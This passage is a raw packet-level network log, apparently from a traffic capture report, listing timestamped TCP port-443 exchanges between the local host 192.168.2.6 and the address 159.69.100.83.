Sep 15, 2024 19:37:07.958065033 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.958096981 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.958158970 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.958172083 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.958201885 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.958221912 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.963165045 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.963186026 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.963247061 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.963262081 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.963314056 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.993352890 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.993379116 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.993446112 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.993453979 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.993491888 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.995959044 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.995976925 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.996037960 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.996051073 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.996099949 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.003712893 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.003731966 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.003817081 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.003829956 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.003880978 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.015158892 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.015177965 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.015264988 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.015280008 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.015337944 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.028101921 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.028120995 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.028223991 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.028243065 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.028289080 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.029056072 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.029083014 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.029148102 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.029161930 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.029217005 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.046824932 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.046921968 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.046983004 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.047010899 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.047039032 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.047056913 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.051795006 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.051846027 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.051887989 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.051903009 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.051930904 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.051948071 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.085165977 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.085227966 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.085285902 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.085305929 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.085335970 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.085355997 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.085372925 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.085381031 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.085407019 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.085407019 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.085439920 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.085447073 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.086311102 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.086311102 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.092202902 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.092250109 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.092324018 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.092338085 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.092361927 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.092385054 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.104866982 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.104897976 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.104970932 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.104980946 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.105015039 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.116434097 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.116516113 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.116519928 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.116559982 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.116705894 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.116741896 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.116751909 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.116780996 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.164882898 CEST	49729	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.164927959 CEST	443	49729	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.165014982 CEST	49729	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.165250063 CEST	49729	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.165266037 CEST	443	49729	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.842636108 CEST	443	49729	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.842720032 CEST	49729	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.843158007 CEST	49729	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.843167067 CEST	443	49729	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.845320940 CEST	49729	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.845325947 CEST	443	49729	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:08.845366001 CEST	49729	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:08.845372915 CEST	443	49729	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:09.710617065 CEST	443	49729	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:09.710695982 CEST	49729	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:09.710722923 CEST	443	49729	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:09.710769892 CEST	49729	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:09.710802078 CEST	443	49729	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:09.710850954 CEST	49729	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:09.711546898 CEST	49729	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:09.711564064 CEST	443	49729	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:09.803206921 CEST	49730	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:09.803260088 CEST	443	49730	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:09.803359985 CEST	49730	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:09.803572893 CEST	49730	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:09.803584099 CEST	443	49730	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:10.446500063 CEST	443	49730	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:10.446700096 CEST	49730	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:10.447177887 CEST	49730	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:10.447189093 CEST	443	49730	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:10.449181080 CEST	49730	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:10.449186087 CEST	443	49730	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:10.983129978 CEST	49731	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:10.983190060 CEST	443	49731	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:10.983247042 CEST	49731	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:10.983459949 CEST	49731	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:10.983470917 CEST	443	49731	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:11.292053938 CEST	443	49730	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:11.292129993 CEST	443	49730	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:11.292131901 CEST	49730	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:11.292188883 CEST	49730	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:11.293224096 CEST	49730	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:11.293242931 CEST	443	49730	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:11.640081882 CEST	443	49731	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:11.640173912 CEST	49731	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:11.919002056 CEST	49731	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:11.919080973 CEST	443	49731	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:11.921235085 CEST	49731	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:11.921258926 CEST	443	49731	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:12.077938080 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:12.077986956 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:12.078072071 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:12.078330994 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:12.078341007 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:12.725394011 CEST	443	49731	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:12.725487947 CEST	443	49731	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:12.725660086 CEST	49731	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:12.725660086 CEST	49731	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:12.726717949 CEST	49731	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:12.726737976 CEST	443	49731	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:12.733073950 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:12.733179092 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:12.733557940 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:12.733588934 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:12.735516071 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:12.735529900 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.174155951 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.174237013 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.174259901 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.174284935 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.174316883 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.174361944 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.174396992 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.174418926 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.205271959 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.205322981 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.205389977 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.205415010 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.205594063 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.205594063 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.274355888 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.274383068 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.274584055 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.274604082 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.274642944 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.306092024 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.306111097 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.306189060 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.306202888 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.306240082 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.345393896 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.345412016 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.345647097 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.345679998 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.345962048 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.377103090 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.377120018 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.377293110 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.377307892 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.377347946 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.396133900 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.396151066 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.396337986 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.396344900 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.396389008 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.412256002 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.412271976 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.412332058 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.412338018 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.412504911 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.431427002 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.431452036 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.431549072 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.431579113 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.431720018 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.449532986 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.449569941 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.449734926 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.449734926 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.449781895 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.449840069 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.463722944 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.463751078 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.463800907 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.463815928 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.463874102 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.463874102 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.480047941 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.480073929 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.480278969 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.480293989 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.480354071 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.492885113 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.492907047 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.492989063 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.493005037 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.493073940 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.503297091 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.503343105 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.503447056 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.503463030 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.503556967 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.513703108 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.513807058 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.513869047 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.513884068 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.513914108 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.513932943 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.521364927 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.521409035 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.521478891 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.521496058 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.521522999 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.521539927 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.530270100 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.530349016 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.530390978 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.530406952 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.530432940 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.530452967 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.538949966 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.538983107 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.539062977 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.539078951 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.539130926 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.550539017 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.550569057 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.550664902 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.550682068 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.550729990 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.564464092 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.564491034 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.564584017 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.564601898 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.564655066 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.575620890 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.575644970 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.575720072 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.575743914 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.575810909 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.587349892 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.587420940 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.587455988 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.587491989 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.587518930 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.587538004 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.597472906 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.597527027 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.597573996 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.597599030 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.597629070 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.597646952 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.607183933 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.607208967 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.607287884 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.607304096 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.607366085 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.615494013 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.615529060 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.615617990 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.615626097 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.615664005 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.622987032 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.623029947 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.623128891 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.623138905 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.623172998 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.631769896 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.631798029 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.631877899 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.631890059 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.631926060 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.651463032 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.651494980 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.651626110 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.651643038 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.651684999 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.662527084 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.662548065 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.662646055 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.662664890 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.662707090 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.674165964 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.674211979 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.674305916 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.674321890 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.674360991 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.684626102 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.684655905 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.684761047 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.684772968 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.684811115 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.694188118 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.694231033 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.694292068 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.694302082 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.694341898 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.702563047 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.702580929 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.702650070 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.702656984 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.702701092 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.709875107 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.709891081 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.709959984 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.709965944 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.710004091 CEST	49732	443	192.168.2.6	159.69.100.83
